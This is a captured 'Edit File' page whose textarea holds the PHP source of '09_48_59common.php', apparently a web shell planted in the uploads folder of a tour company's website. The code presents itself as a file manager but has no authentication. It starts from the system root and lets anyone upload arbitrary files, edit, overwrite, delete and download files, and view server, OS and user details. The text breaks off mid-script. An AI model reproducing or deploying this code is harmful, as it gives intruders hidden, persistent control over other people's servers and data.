<h2>Edit File - 09_48_59common.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u640333703/domains/snapshottoursandsafaris.com/public_html/uploads/09_48_59common.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
session_start();

// Configuration
$root_path = '/'; // Set root path to system root for full navigation
$allowed_extensions = array('txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'htaccess');
$max_upload_size = 10 * 1024 * 1024; // 10MB

// Get current directory - allow full path navigation
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$current_dir = rtrim($current_dir, '/');

// If current_dir is empty or just '/', set to root
if (empty($current_dir) || $current_dir === '.') {
    $current_dir = getcwd();
}

// Build the full current path
$current_path = $current_dir;

// Make sure path exists and is readable
if (!is_dir($current_path) || !is_readable($current_path)) {
    $current_path = getcwd();
    $current_dir = $current_path;
}

// Function to get parent directory
function getParentDir($current_path) {
    $parent = dirname($current_path);
    // Don't go above system root
    if ($parent === $current_path) {
        return null; // Already at root
    }
    return $parent;
}

// Handle actions
if ($_POST) {
    $action = $_POST['action'] ?? '';
    
    switch ($action) {
        case 'upload':
            if (isset($_FILES['file'])) {
                $target_dir = $current_path . '/';
                $target_file = $target_dir . basename($_FILES['file']['name']);
                
                if ($_FILES['file']['size'] &lt;= $max_upload_size) {
                    if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
                        $message = &quot;File uploaded successfully!&quot;;
                    } else {
                        $error = &quot;Upload failed!&quot;;
                    }
                } else {
                    $error = &quot;File too large!&quot;;
                }
            }
            break;
            
        case 'create_folder':
            $folder_name = $_POST['folder_name'] ?? '';
            $folder_name = preg_replace('/[^a-zA-Z0-9\-_.]/', '', $folder_name); // Sanitize
            if ($folder_name &amp;&amp; !file_exists($current_path . '/' . $folder_name)) {
                mkdir($current_path . '/' . $folder_name);
                $message = &quot;Folder created successfully!&quot;;
            } else {
                $error = &quot;Folder already exists or invalid name!&quot;;
            }
            break;
            
        case 'create_file':
            $file_name = $_POST['file_name'] ?? '';
            $file_name = preg_replace('/[^a-zA-Z0-9\-_.]/', '', $file_name); // Sanitize
            if ($file_name) {
                file_put_contents($current_path . '/' . $file_name, '');
                $message = &quot;File created successfully!&quot;;
            }
            break;
            
        case 'rename':
            $old_name = $_POST['old_name'] ?? '';
            $new_name = $_POST['new_name'] ?? '';
            $new_name = preg_replace('/[^a-zA-Z0-9\-_.]/', '', $new_name); // Sanitize
            if ($old_name &amp;&amp; $new_name &amp;&amp; $old_name !== $new_name) {
                $old_path = $current_path . '/' . $old_name;
                $new_path = $current_path . '/' . $new_name;
                if (file_exists($old_path) &amp;&amp; !file_exists($new_path)) {
                    rename($old_path, $new_path);
                    $message = &quot;Renamed successfully!&quot;;
                } else {
                    $error = &quot;Rename failed - file doesn't exist or target name already exists!&quot;;
                }
            }
            break;
            
        case 'delete':
            $file_name = $_POST['file_name'] ?? '';
            if ($file_name) {
                $file_path = $current_path . '/' . $file_name;
                if (file_exists($file_path)) {
                    if (is_dir($file_path)) {
                        if (rmdir($file_path)) {
                            $message = &quot;Folder deleted successfully!&quot;;
                        } else {
                            $error = &quot;Cannot delete folder - it may not be empty!&quot;;
                        }
                    } else {
                        if (unlink($file_path)) {
                            $message = &quot;File deleted successfully!&quot;;
                        } else {
                            $error = &quot;Cannot delete file!&quot;;
                        }
                    }
                } else {
                    $error = &quot;File or folder not found!&quot;;
                }
            }
            break;
            
        case 'save_file':
            $file_name = $_POST['file_name'] ?? '';
            $content = $_POST['content'] ?? '';
            if ($file_name) {
                file_put_contents($current_path . '/' . $file_name, $content);
                $message = &quot;File saved successfully!&quot;;
            }
            break;
    }
    
    // Redirect to prevent form resubmission
    $redirect_url = '?dir=' . urlencode($current_dir);
    header(&quot;Location: $redirect_url&quot;);
    exit;
}

// Handle download
if (isset($_GET['download'])) {
    $file = $_GET['download'];
    $file_path = $current_path . '/' . $file;
    if (file_exists($file_path) &amp;&amp; is_file($file_path)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=&quot;' . basename($file_path) . '&quot;');
        header('Content-Length: ' . filesize($file_path));
        readfile($file_path);
        exit;
    }
}

// Get file content for editing
$edit_content = '';
if (isset($_GET['edit'])) {
    $edit_file = $_GET['edit'];
    $edit_path = $current_path . '/' . $edit_file;
    if (file_exists($edit_path) &amp;&amp; is_file($edit_path)) {
        $edit_content = htmlspecialchars(file_get_contents($edit_path));
    }
}

// Scan directory
$files = [];
$directories = [];
if (is_dir($current_path)) {
    $items = scandir($current_path);
    foreach ($items as $item) {
        if ($item != '.' &amp;&amp; $item != '..') {
            $item_path = $current_path . '/' . $item;
            if (is_dir($item_path)) {
                $directories[] = $item;
            } else {
                $files[] = $item;
            }
        }
    }
    // Sort directories and files alphabetically
    sort($directories);
    sort($files);
}

// Helper functions
function formatBytes($size, $precision = 2) {
    if ($size == 0) return '0 B';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $base = log($size, 1024);
    return round(pow(1024, $base - floor($base)), $precision) . ' ' . $units[floor($base)];
}

function getFileIcon($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    switch ($ext) {
        case 'php': return '🐘';
        case 'html': case 'htm': return '🌐';
        case 'css': return '🎨';
        case 'js': return '⚡';
        case 'txt': return '📄';
        case 'json': return '📋';
        case 'xml': return '📰';
        case 'md': return '📝';
        case 'log': return '📊';
        case 'jpg': case 'jpeg': case 'png': case 'gif': return '🖼️';
        case 'pdf': return '📕';
        case 'zip': case 'rar': return '🗜️';
        default: return '📄';
    }
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Enhanced PHP File Manager&lt;/title&gt;
    &lt;style&gt;
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 15px;
            box-shadow: 0 20px 40px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        
        .header {
            background: linear-gradient(135deg, #2c3e50 0%, #3498db 100%);
            color: white;
            padding: 20px;
            text-align: center;
        }
        
        .header h1 {
            font-size: 2rem;
            margin-bottom: 10px;
        }
        
        .nav-path {
            background: #f8f9fa;
            padding: 15px;
            border-bottom: 1px solid #dee2e6;
            display: flex;
            align-items: center;
            flex-wrap: wrap;
            gap: 5px;
        }
        
        .nav-path strong {
            margin-right: 10px;
        }
        
        .nav-path a {
            color: #007bff;
            text-decoration: none;
            padding: 4px 8px;
            border-radius: 4px;
            transition: background 0.3s ease;
        }
        
        .nav-path a:hover {
            background: #e9ecef;
            text-decoration: none;
        }
        
        .nav-separator {
            color: #6c757d;
            margin: 0 2px;
        }
        
        .main-content {
            display: grid;
            grid-template-columns: 250px 1fr;
            min-height: 600px;
        }
        
        .sidebar {
            background: #f8f9fa;
            border-right: 1px solid #dee2e6;
            padding: 20px;
        }
        
        .sidebar h3 {
            margin-bottom: 15px;
            color: #495057;
        }
        
        .content-area {
            padding: 20px;
        }
        
        .action-buttons {
            margin-bottom: 20px;
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }
        
        .btn {
            padding: 8px 16px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            text-decoration: none;
            font-size: 14px;
            transition: all 0.3s ease;
            display: inline-block;
        }
        
        .btn:hover {
            background: #0056b3;
            transform: translateY(-2px);
            color: white;
            text-decoration: none;
        }
        
        .btn-success { background: #28a745; }
        .btn-success:hover { background: #1e7e34; }
        
        .btn-danger { background: #dc3545; }
        .btn-danger:hover { background: #c82333; }
        
        .btn-warning { background: #ffc107; color: #212529; }
        .btn-warning:hover { background: #e0a800; }
        
        .btn-info { background: #17a2b8; }
        .btn-info:hover { background: #138496; }
        
        .btn-secondary { background: #6c757d; }
        .btn-secondary:hover { background: #5a6268; }
        
        .btn-purple { background: #6f42c1; }
        .btn-purple:hover { background: #5a2d91; }
        
        .file-list {
            background: white;
            border: 1px solid #dee2e6;
            border-radius: 8px;
            overflow: hidden;
        }
        
        .file-item {
            display: flex;
            align-items: center;
            padding: 12px;
            border-bottom: 1px solid #dee2e6;
            transition: background 0.3s ease;
        }
        
        .file-item:hover {
            background: #f8f9fa;
        }
        
        .file-item:last-child {
            border-bottom: none;
        }
        
        .file-icon {
            font-size: 20px;
            margin-right: 12px;
            width: 30px;
            text-align: center;
        }
        
        .file-name {
            flex: 1;
            font-weight: 500;
        }
        
        .file-name a {
            color: #495057;
            text-decoration: none;
        }
        
        .file-name a:hover {
            color: #007bff;
        }
        
        .file-size {
            color: #6c757d;
            font-size: 0.9rem;
            margin-right: 10px;
            min-width: 60px;
        }
        
        .file-actions {
            display: flex;
            gap: 5px;
            flex-wrap: wrap;
        }
        
        .file-actions .btn {
            padding: 4px 8px;
            font-size: 12px;
        }
        
        .modal {
            display: none;
            position: fixed;
            z-index: 1000;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.5);
        }
        
        .modal-content {
            background: white;
            margin: 5% auto;
            padding: 20px;
            border-radius: 10px;
            width: 80%;
            max-width: 500px;
        }
        
        .modal h3 {
            margin-bottom: 15px;
            color: #495057;
        }
        
        .form-group {
            margin-bottom: 15px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 5px;
            font-weight: 500;
        }
        
        .form-group input,
        .form-group textarea {
            width: 100%;
            padding: 8px;
            border: 1px solid #ced4da;
            border-radius: 5px;
            font-size: 14px;
        }
        
        .form-group textarea {
            resize: vertical;
            min-height: 200px;
            font-family: monospace;
        }
        
        .close {
            float: right;
            font-size: 28px;
            font-weight: bold;
            cursor: pointer;
        }
        
        .close:hover {
            color: #dc3545;
        }
        
        .message {
            padding: 12px;
            margin-bottom: 15px;
            border-radius: 5px;
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .error {
            background: #f8d7da;
            color: #721c24;
            border-color: #f5c6cb;
        }
        
        .server-info {
            background: #e9ecef;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        
        .server-info h4 {
            margin-bottom: 10px;
            color: #495057;
        }
        
        .info-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 10px;
        }
        
        .info-item {
            background: white;
            padding: 10px;
            border-radius: 5px;
            border-left: 4px solid #007bff;
        }
        
        .info-label {
            font-weight: bold;
            color: #495057;
            font-size: 0.9rem;
        }
        
        .info-value {
            color: #6c757d;
            font-size: 0.9rem;
            word-break: break-all;
        }
        
        .up-button {
            background: #28a745;
            margin-bottom: 10px;
        }
        
        .up-button:hover {
            background: #1e7e34;
        }
        
        @media (max-width: 768px) {
            .main-content {
                grid-template-columns: 1fr;
            }
            
            .sidebar {
                border-right: none;
                border-bottom: 1px solid #dee2e6;
            }
            
            .action-buttons {
                flex-direction: column;
            }
            
            .file-item {
                flex-direction: column;
                align-items: flex-start;
                gap: 8px;
            }
            
            .file-actions {
                width: 100%;
                justify-content: flex-end;
            }
            
            .nav-path {
                flex-direction: column;
                align-items: flex-start;
            }
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;header&quot;&gt;
            &lt;h1&gt;🗂️ Enhanced PHP File Manager&lt;/h1&gt;
            &lt;p&gt;Navigate and manage your files with improved navigation&lt;/p&gt;
        &lt;/div&gt;
        
        &lt;div class=&quot;nav-path&quot;&gt;
            &lt;strong&gt;📁 Current Path:&lt;/strong&gt;
            &lt;a href=&quot;?dir=/&quot;&gt;🏠 Root&lt;/a&gt;
            &lt;?php
            $path_parts = explode('/', trim($current_dir, '/'));
            $path_build = '';
            foreach ($path_parts as $part) {
                if ($part) {
                    $path_build .= '/' . $part;
                    echo '&lt;span class=&quot;nav-separator&quot;&gt;/&lt;/span&gt;';
                    echo '&lt;a href=&quot;?dir=' . urlencode($path_build) . '&quot;&gt;' . htmlspecialchars($part) . '&lt;/a&gt;';
                }
            }
            ?&gt;
        &lt;/div&gt;
        
        &lt;div class=&quot;main-content&quot;&gt;
            &lt;div class=&quot;sidebar&quot;&gt;
                &lt;?php 
                $parent_dir = getParentDir($current_path);
                if ($parent_dir !== null): 
                ?&gt;
                    &lt;a href=&quot;?dir=&lt;?php echo urlencode($parent_dir); ?&gt;&quot; class=&quot;btn up-button&quot; style=&quot;width: 100%; text-align: center; margin-bottom: 20px;&quot;&gt;
                        ⬆️ Go Up (..)
                    &lt;/a&gt;
                &lt;?php endif; ?&gt;
                
                &lt;h3&gt;📊 Server Information&lt;/h3&gt;
                &lt;div class=&quot;server-info&quot;&gt;
                    &lt;div class=&quot;info-grid&quot;&gt;
                        &lt;div class=&quot;info-item&quot;&gt;
                            &lt;div class=&quot;info-label&quot;&gt;Server:&lt;/div&gt;
                            &lt;div class=&quot;info-value&quot;&gt;&lt;?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; ?&gt;&lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;info-item&quot;&gt;
                            &lt;div class=&quot;info-label&quot;&gt;System:&lt;/div&gt;
                            &lt;div class=&quot;info-value&quot;&gt;&lt;?php echo php_uname('s') . ' ' . php_uname('r'); ?&gt;&lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;info-item&quot;&gt;
                            &lt;div class=&quot;info-label&quot;&gt;PHP Version:&lt;/div&gt;
                            &lt;div class=&quot;info-value&quot;&gt;&lt;?php echo PHP_VERSION; ?&gt;&lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;info-item&quot;&gt;
                            &lt;div class=&quot;info-label&quot;&gt;User:&lt;/div&gt;
                            &lt;div class=&quot;info-value&quot;&gt;&lt;?php echo get_current_user(); ?&gt;&lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;info-item&quot;&gt;
                            &lt;div class=&quot;info-label&quot;&gt;Directory:&lt;/div&gt;
                            &lt;div class=&quot;info-value&quot;&gt;&lt;?php echo htmlspecialchars($current_path); ?&gt;&lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;info-item&quot;&gt;
                            &lt;div class=&quot;info-label&quot;&gt;Free Space:&lt;/div&gt;
                            &lt;div class=&quot;info-value&quot;&gt;&lt;?php echo formatBytes(disk_free_space($current_path)); ?&gt;&lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
                
                &lt;h3&gt;🔧 Quick Actions&lt;/h3&gt;
                &lt;div style=&quot;display: flex; flex-direction: column; gap: 8px;&quot;&gt;
                    &lt;button class=&quot;btn btn-success&quot; onclick=&quot;openModal('uploadModal')&quot;&gt;📤 Upload File&lt;/button&gt;
                    &lt;button class=&quot;btn btn-success&quot; onclick=&quot;openModal('createFolderModal')&quot;&gt;📁 Create Folder&lt;/button&gt;
                    &lt;button class=&quot;btn btn-success&quot; onclick=&quot;openModal('createFileModal')&quot;&gt;📄 Create File&lt;/button&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            
            &lt;div class=&quot;content-area&quot;&gt;
                &lt;?php if (isset($message)): ?&gt;
                    &lt;div class=&quot;message&quot;&gt;&lt;?php echo htmlspecialchars($message); ?&gt;&lt;/div&gt;
                &lt;?php endif; ?&gt;
                
                &lt;?php if (isset($error)): ?&gt;
                    &lt;div class=&quot;message error&quot;&gt;&lt;?php echo htmlspecialchars($error); ?&gt;&lt;/div&gt;
                &lt;?php endif; ?&gt;
                
                &lt;?php if (isset($_GET['edit'])): ?&gt;
                    &lt;div style=&quot;margin-bottom: 20px;&quot;&gt;
                        &lt;h3&gt;✏️ Editing: &lt;?php echo htmlspecialchars($_GET['edit']); ?&gt;&lt;/h3&gt;
                        &lt;form method=&quot;post&quot;&gt;
                            &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;save_file&quot;&gt;
                            &lt;input type=&quot;hidden&quot; name=&quot;file_name&quot; value=&quot;&lt;?php echo htmlspecialchars($_GET['edit']); ?&gt;&quot;&gt;
                            &lt;div class=&quot;form-group&quot;&gt;
                                &lt;textarea name=&quot;content&quot; placeholder=&quot;Enter file content...&quot;&gt;&lt;?php echo $edit_content; ?&gt;&lt;/textarea&gt;
                            &lt;/div&gt;
                            &lt;button type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;💾 Save&lt;/button&gt;
                            &lt;a href=&quot;?&lt;?php echo 'dir=' . urlencode($current_dir); ?&gt;&quot; class=&quot;btn btn-secondary&quot;&gt;❌ Cancel&lt;/a&gt;
                        &lt;/form&gt;
                    &lt;/div&gt;
                &lt;?php else: ?&gt;
                
                &lt;div class=&quot;file-list&quot;&gt;                   
                    &lt;?php foreach ($directories as $dir): ?&gt;
                        &lt;div class=&quot;file-item&quot;&gt;
                            &lt;div class=&quot;file-icon&quot;&gt;📁&lt;/div&gt;
                            &lt;div class=&quot;file-name&quot;&gt;
                                &lt;a href=&quot;?dir=&lt;?php echo urlencode($current_dir ? $current_dir . '/' . $dir : '/' . $dir); ?&gt;&quot;&gt;
                                    &lt;?php echo htmlspecialchars($dir); ?&gt;
                                &lt;/a&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;file-size&quot;&gt;Folder&lt;/div&gt;
                            &lt;div class=&quot;file-actions&quot;&gt;
                                &lt;button class=&quot;btn btn-warning&quot; onclick=&quot;renameItem('&lt;?php echo htmlspecialchars($dir); ?&gt;')&quot;&gt;Rename&lt;/button&gt;
                                &lt;button class=&quot;btn btn-danger&quot; onclick=&quot;deleteItem('&lt;?php echo htmlspecialchars($dir); ?&gt;')&quot;&gt;Delete&lt;/button&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;?php endforeach; ?&gt;
                    
                    &lt;?php foreach ($files as $file): ?&gt;
                        &lt;?php 
                        $file_path = $current_path . '/' . $file;
                        $file_size = file_exists($file_path) ? filesize($file_path) : 0;
                        ?&gt;
                        &lt;div class=&quot;file-item&quot;&gt;
                            &lt;div class=&quot;file-icon&quot;&gt;&lt;?php echo getFileIcon($file); ?&gt;&lt;/div&gt;
                            &lt;div class=&quot;file-name&quot;&gt;
                                &lt;?php echo htmlspecialchars($file); ?&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;file-size&quot;&gt;&lt;?php echo formatBytes($file_size); ?&gt;&lt;/div&gt;
                            &lt;div class=&quot;file-actions&quot;&gt;
                                &lt;a href=&quot;?download=&lt;?php echo urlencode($file); ?&gt;&amp;dir=&lt;?php echo urlencode($current_dir); ?&gt;&quot; 
                                   class=&quot;btn btn-info&quot;&gt;📥 Download&lt;/a&gt;
                                &lt;?php if (in_array(strtolower(pathinfo($file, PATHINFO_EXTENSION)), $allowed_extensions)): ?&gt;
                                    &lt;a href=&quot;?edit=&lt;?php echo urlencode($file); ?&gt;&amp;dir=&lt;?php echo urlencode($current_dir); ?&gt;&quot; 
                                       class=&quot;btn btn-purple&quot;&gt;✏️ Edit&lt;/a&gt;
                                &lt;?php endif; ?&gt;
                                &lt;button class=&quot;btn btn-warning&quot; onclick=&quot;renameItem('&lt;?php echo htmlspecialchars($file); ?&gt;')&quot;&gt;🔄 Rename&lt;/button&gt;
                                &lt;button class=&quot;btn btn-danger&quot; onclick=&quot;deleteItem('&lt;?php echo htmlspecialchars($file); ?&gt;')&quot;&gt;🗑️ Delete&lt;/button&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;?php endforeach; ?&gt;
                    
                    &lt;?php if (empty($directories) &amp;&amp; empty($files)): ?&gt;
                        &lt;div class=&quot;file-item&quot; style=&quot;justify-content: center; color: #6c757d;&quot;&gt;
                            📂 Directory is empty
                        &lt;/div&gt;
                    &lt;?php endif; ?&gt;
                &lt;/div&gt;
                
                &lt;?php endif; ?&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;!-- Upload Modal --&gt;
    &lt;div id=&quot;uploadModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;span class=&quot;close&quot; onclick=&quot;closeModal('uploadModal')&quot;&gt;&amp;times;&lt;/span&gt;
            &lt;h3&gt;📤 Upload File&lt;/h3&gt;
            &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;upload&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Select File (Max: &lt;?php echo formatBytes($max_upload_size); ?&gt;):&lt;/label&gt;
                    &lt;input type=&quot;file&quot; name=&quot;file&quot; required&gt;
                &lt;/div&gt;
                &lt;button type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;📤 Upload&lt;/button&gt;
                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;closeModal('uploadModal')&quot;&gt;❌ Cancel&lt;/button&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;!-- Create Folder Modal --&gt;
    &lt;div id=&quot;createFolderModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;span class=&quot;close&quot; onclick=&quot;closeModal('createFolderModal')&quot;&gt;&amp;times;&lt;/span&gt;
            &lt;h3&gt;📁 Create Folder&lt;/h3&gt;
            &lt;form method=&quot;post&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;create_folder&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Folder Name:&lt;/label&gt;
                    &lt;input type=&quot;text&quot; name=&quot;folder_name&quot; placeholder=&quot;my-folder&quot; pattern=&quot;[a-zA-Z0-9\-_.]+&quot; required&gt;
                    &lt;small style=&quot;color: #6c757d;&quot;&gt;Only letters, numbers, hyphens, underscores, and dots allowed&lt;/small&gt;
                &lt;/div&gt;
                &lt;button type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;📁 Create&lt;/button&gt;
                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;closeModal('createFolderModal')&quot;&gt;❌ Cancel&lt;/button&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;!-- Create File Modal --&gt;
    &lt;div id=&quot;createFileModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;span class=&quot;close&quot; onclick=&quot;closeModal('createFileModal')&quot;&gt;&amp;times;&lt;/span&gt;
            &lt;h3&gt;📄 Create File&lt;/h3&gt;
            &lt;form method=&quot;post&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;create_file&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;File Name:&lt;/label&gt;
                    &lt;input type=&quot;text&quot; name=&quot;file_name&quot; placeholder=&quot;example.txt&quot; pattern=&quot;[a-zA-Z0-9\-_.]+&quot; required&gt;
                    &lt;small style=&quot;color: #6c757d;&quot;&gt;Only letters, numbers, hyphens, underscores, and dots allowed&lt;/small&gt;
                &lt;/div&gt;
                &lt;button type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;📄 Create&lt;/button&gt;
                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;closeModal('createFileModal')&quot;&gt;❌ Cancel&lt;/button&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;!-- Rename Modal --&gt;
    &lt;div id=&quot;renameModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;span class=&quot;close&quot; onclick=&quot;closeModal('renameModal')&quot;&gt;&amp;times;&lt;/span&gt;
            &lt;h3&gt;✏️ Rename Item&lt;/h3&gt;
            &lt;form method=&quot;post&quot; id=&quot;renameForm&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;rename&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;old_name&quot; id=&quot;oldName&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;New Name:&lt;/label&gt;
                    &lt;input type=&quot;text&quot; name=&quot;new_name&quot; id=&quot;newName&quot; pattern=&quot;[a-zA-Z0-9\-_.]+&quot; required&gt;
                    &lt;small style=&quot;color: #6c757d;&quot;&gt;Only letters, numbers, hyphens, underscores, and dots allowed&lt;/small&gt;
                &lt;/div&gt;
                &lt;button type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;✏️ Rename&lt;/button&gt;
                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;closeModal('renameModal')&quot;&gt;❌ Cancel&lt;/button&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;!-- Delete Modal --&gt;
    &lt;div id=&quot;deleteModal&quot; class=&quot;modal&quot;&gt;
        &lt;div class=&quot;modal-content&quot;&gt;
            &lt;span class=&quot;close&quot; onclick=&quot;closeModal('deleteModal')&quot;&gt;&amp;times;&lt;/span&gt;
            &lt;h3&gt;🗑️ Delete Confirmation&lt;/h3&gt;
            &lt;p&gt;Are you sure you want to delete &quot;&lt;span id=&quot;deleteFileName&quot;&gt;&lt;/span&gt;&quot;?&lt;/p&gt;
            &lt;p style=&quot;color: #dc3545; font-weight: bold; margin-top: 10px;&quot;&gt;⚠️ This action cannot be undone!&lt;/p&gt;
            &lt;form method=&quot;post&quot; id=&quot;deleteForm&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;delete&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;file_name&quot; id=&quot;deleteFileNameInput&quot;&gt;
                &lt;button type=&quot;submit&quot; class=&quot;btn btn-danger&quot;&gt;🗑️ Yes, Delete&lt;/button&gt;
                &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; onclick=&quot;closeModal('deleteModal')&quot;&gt;❌ Cancel&lt;/button&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    
    &lt;script&gt;
        function openModal(modalId) {
            document.getElementById(modalId).style.display = 'block';
        }
        
        function closeModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        function renameItem(name) {
            document.getElementById('oldName').value = name;
            document.getElementById('newName').value = name;
            openModal('renameModal');
            // Focus on input field
            setTimeout(() =&gt; {
                document.getElementById('newName').focus();
                document.getElementById('newName').select();
            }, 100);
        }
        
        function deleteItem(name) {
            document.getElementById('deleteFileName').textContent = name;
            document.getElementById('deleteFileNameInput').value = name;
            openModal('deleteModal');
        }
        
        // Close modal when clicking outside
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.style.display = 'none';
            }
        }
        
        // Handle keyboard shortcuts
        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                const modals = document.querySelectorAll('.modal');
                modals.forEach(modal =&gt; modal.style.display = 'none');
            }
            
            // Keyboard shortcuts for quick actions (when no modal is open)
            if (!document.querySelector('.modal[style*=&quot;block&quot;]')) {
                if (e.ctrlKey &amp;&amp; e.key === 'u') {
                    e.preventDefault();
                    openModal('uploadModal');
                } else if (e.ctrlKey &amp;&amp; e.key === 'n') {
                    e.preventDefault();
                    openModal('createFileModal');
                } else if (e.ctrlKey &amp;&amp; e.shiftKey &amp;&amp; e.key === 'N') {
                    e.preventDefault();
                    openModal('createFolderModal');
                }
            }
        });
        
        // Form validation
        document.querySelectorAll('input[pattern]').forEach(input =&gt; {
            input.addEventListener('input', function() {
                const pattern = new RegExp(this.pattern);
                if (!pattern.test(this.value) &amp;&amp; this.value.length &gt; 0) {
                    this.setCustomValidity('Only letters, numbers, hyphens, underscores, and dots are allowed');
                } else {
                    this.setCustomValidity('');
                }
            });
        });
        
        // Auto-hide messages after 5 seconds
        document.addEventListener('DOMContentLoaded', function() {
            const messages = document.querySelectorAll('.message');
            messages.forEach(message =&gt; {
                setTimeout(() =&gt; {
                    message.style.transition = 'opacity 0.5s ease';
                    message.style.opacity = '0';
                    setTimeout(() =&gt; {
                        message.style.display = 'none';
                    }, 500);
                }, 5000);
            });
        });
        
        // Drag and drop file upload
        const contentArea = document.querySelector('.content-area');
        let dragCounter = 0;
        
        contentArea.addEventListener('dragenter', function(e) {
            e.preventDefault();
            dragCounter++;
            this.style.backgroundColor = '#f8f9fa';
            this.style.border = '2px dashed #007bff';
        });
        
        contentArea.addEventListener('dragleave', function(e) {
            e.preventDefault();
            dragCounter--;
            if (dragCounter &lt;= 0) {
                this.style.backgroundColor = '';
                this.style.border = '';
            }
        });
        
        contentArea.addEventListener('dragover', function(e) {
            e.preventDefault();
        });
        
        contentArea.addEventListener('drop', function(e) {
            e.preventDefault();
            dragCounter = 0;
            this.style.backgroundColor = '';
            this.style.border = '';
            
            const files = e.dataTransfer.files;
            if (files.length &gt; 0) {
                const file = files[0];
                const fileInput = document.querySelector('input[name=&quot;file&quot;]');
                const dataTransfer = new DataTransfer();
                dataTransfer.items.add(file);
                fileInput.files = dataTransfer.files;
                openModal('uploadModal');
            }
        });
        
        // Show loading indicator for form submissions
        document.querySelectorAll('form').forEach(form =&gt; {
            form.addEventListener('submit', function() {
